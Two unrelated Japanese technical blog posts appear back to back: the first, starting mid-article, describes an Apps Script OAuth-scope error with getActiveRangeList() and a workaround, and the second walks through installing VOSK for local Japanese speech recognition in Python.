const selectedRangeListOk = SpreadsheetApp.getActiveSpreadsheet().getActiveRangeList()
// これなら普通に取得できる

```

Google Issue Trackerで類似事例へのコメントとして追記しておきましたが、そもそもその事例に対するIssue Tracker内の動きが1年半ほどないことから、しばらくは現状のままでしょう。

### 結論
スプレッドシートで選択中のセル範囲（複数可）を呼び出すためのメソッド`SpreadsheetApp.getActiveRangeList()`は、OAuthのスコープが`https://www.googleapis.com/auth/spreadsheets`（すべてスプレッドシートに対する閲覧・編集権限）でないと実行できません。

[公式ドキュメント](https://developers.google.com/apps-script/reference/spreadsheet/spreadsheet-app?hl=en#getactiverangelist)では許容されていることになっている`https://www.googleapis.com/auth/spreadsheets.currentonly`（現在開いているスプレッドシートに対する閲覧・編集権限）では`Exception: その操作を実行する権限がありません。`とエラーが返ってきます。

### 回避方法
そもそもマニフェストファイル`appsscript.json`でOAuthスコープを指定しないのであれば、この問題は発生しません。Apps Script側が自動的に`../auth/spreadsheets`でユーザ承認を要求するためです。ベストプラクティスに従ってマニフェストファイルで必要最小限のOAuth権限だけを取得するようにしている優等生（笑）だけがこの問題にひっかかるわけです。

OAuth権限を変更せずに回避するならば、
```javascript
SpreadsheetApp.getActiveRangeList()
```
を
```javascript
SpreadsheetApp.getActiveSpreadsheet().getActiveRangeList()
```
と書き換えればいいです。いったん`Spreadsheet`オブジェクトとして現在開いているスプレッドシートを取得した上で、（`SpreadsheetApp`ではなく）`Spreadsheet`のメソッドとして`getActiveRangeList`を呼び出せばいいということでしょう。

### 同様の制約があるメソッドが他にもありそう。`getCurrentCell()`など
Google Issue Trackerでも同様の報告はされており、`SpreadsheetApp.getCurrentCell()`も同様に公式ドキュメントで書かれている`currentonly`スコープでは権限エラーを返されてしまうようです。
> [SpreadsheetApp.getCurrentCell not working with "currentonly" scope [170022856] - Visible to Public - Issue Tracker](https://issuetracker.google.com/issues/170022856)

検証していませんが、`SpreadsheetApp`から直接呼び出されるメソッドの一部に共通する事象かもしれません。ただ、上記Issueの報告日を見ると2020年10月で、2022年5月現在も担当がassignされていない... 今後も大きな動きはあまり期待できないでしょう。

### 参考資料
- [Class SpreadsheetApp  |  Apps Script  |  Google Developers](https://developers.google.com/apps-script/reference/spreadsheet/spreadsheet-app?hl=en#getactiverangelist)
- [Class Spreadsheet  |  Apps Script  |  Google Developers](https://developers.google.com/apps-script/reference/spreadsheet/spreadsheet?hl=en#getactiverangelist)
VOSKを使って日本語でストリームでローカル音声認識する

# VOSK
Kaldiがベースの完全ローカルで動作する音声認識ツールキット
日本語モデルが用意されてるしマイクでのストリーム認識もできる！！
こういうの待ってた。

https://alphacephei.com/vosk/

# Pythonで使ってみる

## 試した環境
 - Windows 10
 - python 3.9.6
 - pip 21.1.3

## インストール
pip で一撃で入る
ただしpoetry環境だとエラーが出てインストールできなかった。
Python標準のvenv環境からpipコマンドにてインストールした

```
pip install vosk
```

## モデルの準備

https://alphacephei.com/vosk/models

↑ここからJapaneseのものをダウンロードする。
2022/05/13時点での最新は**vosk-model-small-ja-0.22**

# サンプルプログラムの入手
ここからクローン

https://github.com/alphacep/vosk-api

```
git clone https://github.com/alphacep/vosk-api.git
```

## 実行
`vosk-api/python/example/` に様々なサンプルプログラムが置いてある。
このディレクトリに、ダウンロードしたモデルのzipを**model**という名前にリネームして解凍する。
マイクでのストリーム認識は`vosk-api/python/example/test_microphone.py`で試せる。

```python
python test_microphone.py
```

# 結果
partialが認識途中の結果
textが最終結果

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/467051/93f64879-67e5-2bda-79f7-ae627dd322a1.png)

# 所感
 - 簡単なコマンド入力とかなら全然使えそう
 - VADとかは特になく、ずーっと聞き続けている
 - モデルがとても小さい(50MBくらい)
 - 語彙が少ない感じはある
 - 最終結果が返ってくるまでは少し遅いかな
 - 最近PyAudioが使いづらくなってきたのでsounddeviceでのサンプルは助かる

# その他
 - iOSでもAndroidでもMacでもLinuxでも動くらしい(M1 Macは無理)
 - 辞書は追加できるっぽい
 - サーバーでの大語彙認識もできる(?)とintroductionには書いてある
 - 話者識別もできるらしい。とintroductionには書いてある
 - ラズパイでも動くがRaspbianのみ
 - ラズパイゼロは遅すぎるので動かないと書いたあったが、Raspberry Pi Zero 2 W だとどうか(動かしたい)
 - ROSパッケージもある！　https://github.com/alphacep/ros-vosk
 - UnrealEngineのプラグインもある！　https://www.unrealengine.com/marketplace/en-US/product/d3c56f7d6af44915a9c818659b4a3d2e
 - Unityも！ https://github.com/Yeti47/Vosk4Unity